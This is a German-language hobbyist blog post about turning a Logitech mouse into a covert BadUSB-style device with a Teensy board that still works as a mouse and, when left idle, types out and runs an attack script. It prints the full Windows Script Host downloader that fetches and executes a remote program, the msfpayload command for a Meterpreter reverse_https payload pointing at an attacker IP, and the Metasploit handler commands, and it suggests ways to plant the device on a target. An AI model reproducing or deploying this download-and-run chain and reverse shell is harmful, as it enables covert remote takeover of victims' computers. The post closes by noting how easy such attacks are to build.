Hacking Maus

Die Idee für dieses Projekt kam mir durch eine Live-Hacking-Vorführung auf der Messa IT-SA 2013. Der Vortragende präsentierte einige Hacks auf Basis des Teensy USB Development Boards. Hierbei war auch eine Maus, die sich als Tastatur am Rechner meldete und via simulierter Tastatureingabe Schadcode zur Ausführung brachte. Genau das wollte ich auch haben. Um das Projekt noch etwas interessanter zu gestalten, sollte die Maus ihre eigentliche Funktionalität jedoch beibehalten, so dass das „Ziel“ zunächst nicht bemerkt, dass es sich um eine manipulierte Maus handelt.

originalAusgangspunkt für das Projekt war die optische Maus Logitech M-BT58. Es gibt mehrere Versionen des Teensy Boards. Zunächst hatte ich unbedacht die Version 3.0 bestellt. Dieses Board arbeitet jedoch mit 3.3V TTL-Pegel, die Maus arbeitet jedoch mit 5V. Um nicht zusätzliche Level-Shifter einbauen zu müssen, habe ich dann letztendlich noch ein Teensy 2.0 Board gekauft.

modifiziertAus der Maus wurde der ursprüngliche Micro-Controller ausgelötet und stattdessen Kabel eingelötet, so dass ich die Maus mit einem Steckbrett verbinden konnte. So war es nun einfach möglich, den elektronischen Aufbau der Maus zu erkunden.

Als Bewegungssensor kommt in der Maus der Baustein ADNS-2610 von Agilent zum Einsatz. Für Teensy gibt es eine Arduino kompatible Entwicklungsumgebung. Somit lag die Idee nahe zunächst im Web zu recherchieren, ob bereits jemand den Sensor mit einem Arduino verbunden hat. Und tatsächlich wurde ich hier fündig. Martijn Thé hat eine Bibliothek entwickelt, die sich direkt mit dem Teensy verwenden lässt. Die Teensy Boards verfügen über einen USB-Client-Anschluss, über den sie sich als Maus, Tastatur, MIDI-Device, Joystick usw. verhalten können. Die Teensy-Bibliothek enthält Funktionen, die es ermöglichen, Mausbewegungen (inkl. Scroll-Rad) und Maustastendrücke an den Computer zu senden. Somit war es recht einfach den restlichen Code zu schreiben, damit sich die ausgeschlachtete Maus zusammen mit dem Teensy wie eine normale Computermaus verhält.

Schwieriger gestaltete sich die Abfrage des Drehgebers für das Mausrad. Hier kommt in der Maus ein Baustein zum Einsatz, der wahrscheinlich von Logitech entwickelt wurde. Anhaltspunkt war dieses Patent, auf das ich einen Hinweis in einem Forum gefunden hatte. Mit den Informationen aus der Patentschrift konnte ich dem Drehgeber tatsächlich Signale entlocken. Perfekt funktionierte dies jedoch nicht, so dass ich in meinem Code noch einige Workarounds einbauen musste, um einen sauberen Bildlauf beim Scrollen mit dem Rad zu erhalten.

Nach dem ich das ursprüngliche Verhalten der Maus simulieren konnte, musste die gewünschte Hacking-Funktion implementiert werden. Zuerst hatte ich die Idee, noch eine (Micro-)SD-Karte in die Maus  einzubauen, da Teensy auch in der Lage ist, einen USB-Massenspeicher zu emulieren. Damit wäre es möglich gewesen, das Schadprogramm auf der SD-Karte zu speichern und mittels geeigneter Tastatureingaben zu starten. Allerdings hätte das Teensy-SD-Karten-Modul nochmals ca. 20€ gekostet und in der Maus war der Platz ohnehin recht eng. Somit entschied ich mich, dass der Schadcode von einem Webserver geladen werden sollte. Um dies zu realisieren, muss mein Teensy-Code Tastendrücke an den Windows-Rechner senden, die letztendlich dazu führen, dass von einem Webserver eine Datei geladen und danach ausgeführt wird. Dies wird durch Senden folgender Tastatur-Eingaben realisiert:

  1. [Windows]+R (öffnet ein Fenster zum Starten eines Programms durch Eingabe des Programmnamens)
  2. notepad [RETURN]
  3. Windows-Scripting-Host Script (siehe unten)
  4. [Strg]+S Dateiname [RETURN] (speichert das Script unter dem angegebenen Dateiname)
  5. [Windows]+R
  6. Dateiname des Scripts [RETURN] (führt das Script aus)

Damit dies funktionieren kann, muss auf dem Zielsystem der Scripting-Host aktiviert sein und es muss ein Pfad zum Speichern des Scripts gewählt werden, der durch den angemeldeten Benutzer beschreibbar ist.

Das Script ist relativ einfach gehalten, was hauptsächlich daran liegt, dass ich mich in der Windows-Welt nicht so super auskenne:

<?XML version="1.0" ?>
<package>
<job>
<script language="Javascript">
<![CDATA[

var wshShell = WScript.CreateObject("WScript.Shell")
var outputFile = wshShell.Environment("Process")("TEMP") + "\\FooBar.exe";

var XmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
var OutputStream = WScript.CreateObject("ADODB.Stream");
XmlHttp.Open("GET", "http://bad-code-url", false);
try {
	XmlHttp.Send();
}
catch(e) {
	WScript.Echo("HTTP Request fauled: " + e.message);
	WScript.Quit(1);
}
if (XmlHttp.status != 200) {
	WScript.Echo("HTTP Request failed: " + XmlHttp.statusText);
	WScript.Quit(1);
}
OutputStream.Type = 1;
OutputStream.Open(); 
OutputStream.Write(XmlHttp.responseBody);
OutputStream.SaveToFile(outputFile, 2);
OutputStream.Close();
wshShell.Run(outputFile);
]]>
</script>
</job>
</package>

Final musste noch alles zusammengebracht werden. Mein Teensy-Code emuliert eine normale Maus. Wird die Maus für eine bestimmte Zeit nicht mehr bedient, wird das Script eingegeben und gestartet. Um etwas flexibler zu sein, lässt sich die URL von der der Schadcode geladen wird und die Zeit, für die die Maus in Ruhe sein muss. konfigurieren. Dazu meldet sich die Maus ebenfalls als serielles Gerät und bietet eine CLI für die Konfiguration. Der Konfigurationsmodus wird aktiviert, in dem nach dem Einstecken der Maus innerhalb von zwei Sekunden die linke Maustaste gedrückt wird. Weiterhin bietet die Code noch einen Linux-Modus, der durch Drücken der rechten Maustaste nach dem Einstecken aktiviert wird. Im Linux-Modus wird ein xterm gestartet und mittels wget der Schadcode geladen. Die mittels CLI vorgenommene Konfiguration wird im Eeprom des Teesny gespeichert, so dass man die Maus vor dem „Einsatz“ konfigurieren kann und die Daten nach dem Abziehen der Maus oder Abschalten des Rechners erhalten bleiben.

Die Frage war dann noch, was ein geeigneter Schadcode sein könnte, der vom Webserver geladen wird. Hier bietet sich der Meterpreter aus dem Metasploit-Projekt an. Durch Eingabe von

msfpayload windows/meterpreter/reverse_https LPORT=443 LHOST=192.168.102.2 X > /tmp/badprog.exe

lässt sich der entsprechende Code für Windows 32bit generieren. Das erzeugte Programm baut dann über HTTPS getunnelt eine Verbindung zum Rechner des Angreifers (in diesem Beispiel 192.168.102.2) auf. In der Metasploit-Console müssen die Kommandos

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST
set LPORT 443
run

eingegeben werden, um die Verbindung zu empfangen.

Im folgenden Video ist die Maus in Aktion zu sehen. Beim Ziel handelt es sich um ein Windows-XP (32bit) System. Die Maus wurde jedoch auch erfolgreich mit Windows-7 (64bit) getestet.

hacking-maus from Frank Eberle on Vimeo

 

 

Damit das ganze in der Realität funktioniert müssen einige Bedingungen erfüllt sein:

  • Die manipulierte Maus muss dem Ziel untergeschoben werden (der Teensy könnte aber auch in einem USB-Gadget versteckt sein, dass man dem Ziel als Geschenk zukommen lässt).
  • Der Zugriff aufs Internet muss vom Ziel aus möglich sein.
  • Virenscanner auf dem Ziel-System oder dem HTTP-Proxy dürfen den Meterpreter-Code nicht erkennen

Allerdings lässt sich aus diesem Projekt auch erkennen, dass man mit Bauteilen aus dem Internet und überschaubarem Elektronikwissen einen solchen Angriff umsetzen kann.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.